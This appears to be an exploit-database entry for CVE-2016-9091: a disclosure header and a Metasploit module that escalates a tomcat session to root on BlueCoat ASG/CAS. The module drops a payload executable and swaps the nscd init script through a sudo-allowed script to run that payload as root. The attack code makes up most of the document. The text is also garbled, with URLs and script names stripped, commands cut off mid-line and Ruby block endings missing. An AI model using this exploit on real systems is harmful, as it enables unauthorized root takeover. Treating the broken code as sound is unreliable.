Bluecoat ASG 6.6/CAS 1.3 - Local Privilege Escalation (Metasploit)







# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors:  Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]
# Vendor Security Advisory:
# Version: CAS 1.3 prior to & ASG 6.6 prior to are vulnerable
# Tested on: BlueCoat CAS
# CVE : cve-2016-9091

08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)

The BlueCoat ASG and CAS management consoles are susceptible to a privilege escalation vulnerablity.
A malicious user with tomcat privileges can escalate to root via the vulnerable script.

Proof of Concept:

Metasploit Module - root priv escalation (via
# This module requires Metasploit:
# Current source:

require 'msf/core'
require 'rex'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::Local::Linux

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'BlueCoat CAS tomcat->root privilege escalation (via',
        'Description'   => %q{
          This module abuses the sudo access granted to tomcat and the script to escalate
          privileges. In order to work, a tomcat session with access to sudo on the sudoers
          is needed. This module is useful for post exploitation of BlueCoat
          vulnerabilities, where typically web server privileges are acquired, and this
          user is allowed to execute sudo on the sudoers file.
        'License'        => MSF_LICENSE,
        'Author'       => [
         'Chris Hebert <chrisdhebert[at]>',
         'Pete Paccione <petepaccione[at]>',
         'Corey Boyd <corey.k.boyd[at]>'
        'DisclosureDate' => 'Vendor Contacted 8-31-2016',
        'References'     =>
          ['EDB', '##TBD##'],
          ['CVE', '2016-9091' ],
          ['URL', 'http://']
        'Platform'       => %w{ linux unix },
        'Arch'           => [ ARCH_X86 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ]
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
        'DefaultTarget' => 0,
    register_options(["WritableDir", [ false, "A directory where we can write files", "/var/log" ]),
      ], self.class)

  def check
    id=cmd_exec("id -un")
    if id!="tomcat"
      print_status("#{peer} - ERROR - Session running as id= #{id}, but must be tomcat")
      fail_with(Failure::NoAccess, "Session running as id= #{id}, but must be tomcat")

    clprelease=cmd_exec("cat /etc/clp-release | cut -d \" \" -f 3")
    if clprelease!=""
      print_status("#{peer} - ERROR - BlueCoat version #{clprelease}, but must be")
      fail_with(Failure::NotVulnerable, "BlueCoat version #{clprelease}, but must be")

    return Exploit::CheckCode::Vulnerable
  def exploit
    print_status("#{peer} - Checking for vulnerable BlueCoat session...")
    if check != CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not running as tomcat or not version")

    print_status("#{peer} - Running Exploit...")
    exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
    write_file(exe_file, generate_payload_exe)
    cmd_exec "chmod +x #{exe_file}"

      #Backup original nscd init script
      cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/ /etc/init.d/nscd /data/bluecoat/avenger/ui/logs/tro$
      #Replaces /etc/init.d/nscd script with meterpreter payload
      cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/ #{exe_file} /data/bluecoat/avenger/ui/logs/troubles$
      #Executes meterpreter payload as root
      cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/"
      #note, waits for payload to exit. (killing it falls over to init pid=1)
      #Restores original nscd init script
      cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/ /var/log/nscd.backup /data/bluecoat/avenger/ui/logs$
      #Remove meterpreter payload (precautionary as most recent should also remove it)
      cmd_exec "/bin/rm -f #{exe_file}"
    print_status("#{peer} - The exploit module has finished")
    #Maybe something here to deal with timeouts?? noticied inconsistant..  Exploit failed: Rex::TimeoutError Operation timed out.